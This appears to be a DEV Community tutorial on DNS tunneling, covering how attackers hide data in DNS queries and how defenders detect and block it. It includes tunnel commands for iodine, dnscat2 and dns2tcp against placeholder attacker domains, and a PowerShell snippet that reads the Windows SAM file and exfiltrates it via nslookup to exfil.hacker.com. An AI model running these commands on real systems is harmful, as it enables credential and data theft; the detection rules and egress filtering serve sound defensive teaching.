DEV Community

Cover image for DNS Tunneling: How Hackers Use Your Internet's "Phone Book" to Steal Data
cyberrscourse
cyberrscourse

Posted on

DNS Tunneling: How Hackers Use Your Internet's "Phone Book" to Steal Data

The Hidden Highway Right Under Your Nose

Picture this: You're working at a company with tight security. The IT team blocks everything — SSH, remote desktop, even weird custom ports. The firewall is basically a digital fortress.

But there's one door that's always open. Always trusted. Never questioned.

That door? DNS — the internet's phone book.

Every time you type "google.com," your computer asks a DNS server, "Hey, what's the IP address for this?" The DNS server responds with "142.250.185.46," and boom — connection made.

Here's the crazy part: Hackers don't use DNS to look up websites. They use it to smuggle data right past your firewall.

This technique is called DNS tunneling, and it's one of the sneakiest ways to steal data from secure networks. Let me show you how it works.


What is Tunneling? (The Smuggling Analogy)

Before we dive into DNS specifically, let's talk about tunneling in general.

Tunneling = hiding one type of traffic inside another.

Think of it like this:

You're at an airport. Security checks your laptop bag thoroughly — they open it, scan it, inspect everything.

But what if you hid a USB drive inside a hollowed-out book in your checked luggage? The bag label says "Books," so it passes through without deep inspection.

That's tunneling.

In the digital world:

  • Normal traffic: Your computer sends HTTP requests → Firewall inspects them → Blocks anything suspicious
  • Tunneled traffic: Your computer hides malicious data inside DNS requests → Firewall sees "just DNS" → Lets it through

Why does this work?

Because DNS is the most trusted protocol on the internet. If you block DNS, the entire internet breaks. So firewalls almost never block it.

The hacker's logic:

Firewall blocks: SSH (port 22), RDP (3389), weird ports
Firewall trusts: DNS (port 53) ← EXPLOIT THIS
Enter fullscreen mode Exit fullscreen mode

How DNS Tunneling Actually Works

Let's break down a real attack step-by-step.

Normal DNS (How It Should Work)

You: "Hey DNS server, what's the IP for facebook.com?"

DNS Server: "31.13.66.35"

You: "Thanks!" → Connects to Facebook

Simple. Clean. Normal.


DNS Tunneling (How Hackers Abuse It)

Step 1: Hacker registers a domain

The attacker buys evil-domain.com and points it to their own DNS server (not Google's, not Cloudflare's — theirs).

Step 2: Encode stolen data into DNS queries

Instead of asking "What's the IP for facebook.com?", the hacker's malware on your computer asks:

What's the IP for YWRtaW46UEBzc3cwcmQxMjM.evil-domain.com?
Enter fullscreen mode Exit fullscreen mode

See that gibberish subdomain? That's base64-encoded stolen data (in this case, "admin:P@ssw0rd123").

Step 3: The hacker's DNS server receives it

Your company's firewall sees a DNS query and thinks, "Looks normal to me!" and lets it through.

The hacker's DNS server receives the query, decodes the subdomain, and now has your password.

Step 4: Send commands back via DNS responses

The hacker can even send commands back using DNS responses:

TXT Record: "run:whoami|next:steal-files"
Enter fullscreen mode Exit fullscreen mode

Your infected computer receives this "DNS response," decodes it, and executes the command.

Boom. Two-way communication. Zero blocked ports.


Real-World Example: Stealing a Customer Database

Let's say a hacker wants to steal a company's customer database (500MB of data).

Problem: The firewall blocks all outbound connections except DNS.

Solution: DNS tunneling.

Here's How It Plays Out:

Day 1 — Initial Access

  1. Employee clicks phishing email → Malware installed
  2. Malware connects to tunnel.hacker-server.com via DNS
  3. Firewall logs show: "Normal DNS traffic to external server" ✅ (Looks legit)

Day 2-3 — Data Exfiltration

The malware starts sending database records:

Query 1: aGFja2VkLWN1c3RvbWVyLTE.exfil.hacker-server.com
Query 2: aGFja2VkLWN1c3RvbWVyLTI.exfil.hacker-server.com
Query 3: aGFja2VkLWN1c3RvbWVyLTM.exfil.hacker-server.com
...
(847 queries per minute)
Enter fullscreen mode Exit fullscreen mode

Each query carries ~60 bytes of encoded data.

Why it's slow: DNS wasn't designed for file transfer — it's like using a straw to empty a swimming pool.

Why it works anyway: The firewall trusts DNS, so it doesn't care how many queries you make.

Day 4 — Fully Exfiltrated

500MB stolen. Zero alarms. The security team never knew.


The Tools Hackers Use

1. Iodine — The Speed Demon

What it does: Creates a full IP tunnel over DNS (you can SSH, browse, do anything through it)

How to use it:

# Hacker's server
sudo iodined -f 10.0.0.1 tunnel.hacker.com

# Victim's machine
sudo iodine -f tunnel.hacker.com
Enter fullscreen mode Exit fullscreen mode

Now the victim has a virtual network connection entirely through DNS.

Detection risk: Medium (security tools know iodine's signature)


2. dnscat2 — The Full C2 Framework

What it does: Encrypted command-and-control channel over DNS

Features:

  • Run shell commands remotely
  • Upload/download files
  • Encrypted (firewalls can't read the traffic)
  • Multi-session support (control multiple infected machines)

Hacker's server:

ruby dnscat2.rb hacker-domain.com --secret=MySecretKey
Enter fullscreen mode Exit fullscreen mode

Victim's machine:

dnscat2.exe --dns server=8.8.8.8,domain=hacker-domain.com --secret=MySecretKey
Enter fullscreen mode Exit fullscreen mode

Commands the hacker can run:

session -i 1         # Connect to infected machine
shell                # Get command-line access
download secrets.txt # Steal files
Enter fullscreen mode Exit fullscreen mode

Detection risk: High (encrypted, looks like random DNS noise)


3. DNSExfiltrator — The Data Thief

What it does: Pure data exfiltration (no commands, just steal and run)

Example (PowerShell):

# Steal Windows password hashes
$data = Get-Content C:\Windows\System32\config\SAM -Raw
$encoded = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data))

# Send via DNS queries
0..($encoded.Length/60) | % {
    $chunk = $encoded.Substring($_ * 60, 60)
    nslookup "$chunk.exfil.hacker.com"
}
Enter fullscreen mode Exit fullscreen mode

Detection risk: Low (simple queries, no encryption, easy to spot if you're looking)


4. DNS2TCP — Tunnel Anything Over DNS

What it does: Wraps any TCP connection inside DNS

Use case: Bypass firewall to SSH into another server

# Hacker's DNS server
dns2tcpd -f /etc/dns2tcpd.conf

# Victim's machine (tunnel SSH)
dns2tcpc -z tunnel.hacker.com -l 2222
ssh -p 2222 localhost  # Now SSH works through DNS!
Enter fullscreen mode Exit fullscreen mode

How Security Teams Detect DNS Tunneling

If you're defending a network, here's what to watch for:

🚩 Red Flag #1: Massive Query Volume

Normal DNS behavior:

google.com: 5 queries per hour
facebook.com: 3 queries per hour
Enter fullscreen mode Exit fullscreen mode

DNS tunneling:

random-domain.xyz: 847 queries per minute
Enter fullscreen mode Exit fullscreen mode

Why it's suspicious: No human types a domain 847 times a minute. That's automated.

Detection rule (Suricata):

alert dns any any -> any any (msg:"Possible DNS tunnel - high query rate"; 
    threshold: count 50, seconds 60; 
    sid:1000001;)
Enter fullscreen mode Exit fullscreen mode

🚩 Red Flag #2: Weirdly Long Subdomains

Normal subdomain:

mail.google.com (4 characters)
Enter fullscreen mode Exit fullscreen mode

Tunneling subdomain:

aGVsbG8gd29ybGQgdGhpcyBpcyBhIHRlc3QgbWVzc2FnZQ.exfil.hacker.com
                    ↑
              (58 characters = encoded data)
Enter fullscreen mode Exit fullscreen mode

Detection:

if len(subdomain) > 40:
    alert("Possible DNS tunneling — subdomain too long")
Enter fullscreen mode Exit fullscreen mode

🚩 Red Flag #3: High Entropy (Randomness)

Normal domains are readable: mail.google.com, cdn.cloudflare.com

Encoded data looks random: aGVsbG8gd29ybGQ

Entropy = measure of randomness

import math
from collections import Counter

def calculate_entropy(s):
    p = [freq / len(s) for freq in Counter(s).values()]
    return -sum(pi * math.log2(pi) for pi in p)

# Normal domain
calculate_entropy("mail.google.com")  # ~2.8 (readable)

# Encoded data
calculate_entropy("aGVsbG8gd29ybGQ")  # ~4.2 (random = suspicious)
Enter fullscreen mode Exit fullscreen mode

Detection threshold: Entropy > 3.5 → investigate


🚩 Red Flag #4: TXT Record Abuse

What are TXT records?

Normally used for:

  • Email verification (SPF records)
  • Domain ownership (Google Search Console)

How hackers abuse them:

TXT records can hold text data, so hackers use them to send commands back to infected machines.

Legitimate TXT record:

"v=spf1 include:_spf.google.com ~all"
Enter fullscreen mode Exit fullscreen mode

Hacker's TXT record:

"Y21kPXdob2FtaSZuZXh0PTEwLjAuMC4x"  ← Base64 encoded command
Enter fullscreen mode Exit fullscreen mode

Detection:

  • TXT queries to non-email domains
  • TXT responses with high entropy
  • Frequent TXT queries (every 5 minutes = automated)

🚩 Red Flag #5: Beaconing (Regular Intervals)

C2 malware "checks in" at regular intervals:

Query at 10:00:00
Query at 10:05:00
Query at 10:10:00
(Exactly 5-minute intervals = automated bot)
Enter fullscreen mode Exit fullscreen mode

Normal behavior: Random timing (humans don't browse on exact schedules)

Malware behavior: Clockwork precision

Detection tools:

  • RITA (Real Intelligence Threat Analytics) — open-source beaconing detector
  • Machine learning models trained on normal DNS timing

How to Defend Against DNS Tunneling

Defense #1: Force DNS Through Your Own Server

The problem: Workstations can query any DNS server (Google's 8.8.8.8, Cloudflare's 1.1.1.1, or a hacker's server).

The fix: Block all outbound DNS except to your internal DNS server.

Firewall rule (Linux):

# Block all DNS except to 10.0.0.53 (your internal DNS)
iptables -A OUTPUT -p udp --dport 53 -d ! 10.0.0.53 -j DROP
iptables -A OUTPUT -p tcp --dport 53 -d ! 10.0.0.53 -j DROP
Enter fullscreen mode Exit fullscreen mode

Result: Hackers can't tunnel to their own DNS server.


Defense #2: DNS Sinkholing

What it is: Route known malicious domains to a fake server (honeypot).

Example:

*.evil-hacker.com → 10.0.0.254 (your honeypot server)
Enter fullscreen mode Exit fullscreen mode

What happens:

  • Malware tries to connect to tunnel.evil-hacker.com
  • Your DNS server lies: "That IP is 10.0.0.254!"
  • Connection goes to your honeypot
  • You log the infected machine's IP and investigate

Defense #3: Monitor with SIEM

Tools:

  • Security Onion (free) — combines Suricata + Zeek + Elasticsearch for DNS analysis
  • Splunk / ELK Stack — log aggregation + alerting
  • Cisco Umbrella (paid) — cloud-based DNS security

What to monitor:

  • Query volume spikes
  • Long subdomains (> 40 chars)
  • High-entropy domains
  • TXT record abuse
  • Beaconing patterns

Defense #4: Endpoint Monitoring

Monitor which processes make DNS queries:

Windows (Sysmon rule):

<RuleGroup name="DNS Tunneling Detection">
  <DnsQuery onmatch="include">
    <QueryName condition="length more than">40</QueryName>
  </DnsQuery>
</RuleGroup>
Enter fullscreen mode Exit fullscreen mode

What this does: Logs any DNS query with a subdomain longer than 40 characters.

Why it works: Catches encoded data in subdomains.


Real Attack Stories

Case 1: The Air-Gapped Lab Breach

Target: Research lab with no internet access (air-gapped for security)

The hack:

  1. Employee brings personal laptop to work
  2. Laptop connects to both:
    • Lab network (no internet)
    • Coffee shop WiFi (has internet)
  3. Laptop becomes a DNS relay:
    • Lab machines → Laptop → Internet (via DNS tunnel)

Result: 2GB of research data stolen over 3 weeks.

Why it worked: The laptop had dual network access, and DNS traffic looked normal.


Case 2: The Bank Database Theft

Target: Financial services company

The hack:

  1. Phishing email → Employee downloads malware
  2. Malware deploys dnscat2 client
  3. Tunnel established to cdn-update.xyz (fake domain)
  4. 500MB customer database exfiltrated over 48 hours

Why it worked:

  • Firewall didn't inspect DNS payloads
  • No egress filtering on port 53
  • Encrypted tunnel (dnscat2) bypassed deep packet inspection

How they got caught:

Security analyst noticed:

  • 847 queries/min to cdn-update.xyz
  • Subdomain lengths averaging 58 characters
  • High entropy scores

Investigation → Infected machine identified → Malware removed → Database breach contained.


The Bottom Line

DNS tunneling works because DNS is too trusted.

Firewalls inspect HTTP, HTTPS, SSH — but DNS? It just passes through.

The asymmetry is brutal:

Attacker Defender
1 tool (dnscat2) SIEM + threat intel + DNS firewall
5 minutes to set up Weeks to detect
Full tunnel Partial visibility

If your network allows unrestricted outbound DNS, assume it's being exploited.


Action Steps for Security Teams

Force DNS through internal resolvers (block direct outbound DNS)

Monitor query volume per domain (alert on > 50 queries/min)

Flag long subdomains (> 40 characters)

Analyze entropy (randomness = encoded data)

Deploy DNS-specific threat intel feeds

Log TXT record queries (common C2 technique)

Baseline normal behavior first (before you can detect anomalies)


Tools to Try (For Learning)

Offensive (Red Team):

  • Iodine — Fast tunneling
  • dnscat2 — Full C2 framework
  • DNSExfiltrator — Data theft

Defensive (Blue Team):

  • Security Onion — Free SIEM with DNS analysis
  • RITA — Beaconing detection
  • Zeek — DNS logging and analysis

Legal Warning

This article is for education and authorized testing ONLY.

Unauthorized access to networks is illegal under:

  • Cybercrime laws worldwide

Use these techniques only:

  • In authorized penetration tests
  • In lab environments
  • With written permission

Unauthorized use = criminal prosecution.


Final Thoughts

DNS tunneling is a perfect example of security by obscurity failing.

We trusted DNS because "it's just name resolution." But hackers see it as an unrestricted data highway.

The lesson?

Never trust traffic just because it looks boring.


#cybersecurity #dns #c2 #redteam #blueteam


If this helped you understand DNS tunneling, follow for more similar content

Top comments (1)

Collapse
 
dora_23a947dfcab6ad73149e profile image
rozo

 knowledgeful content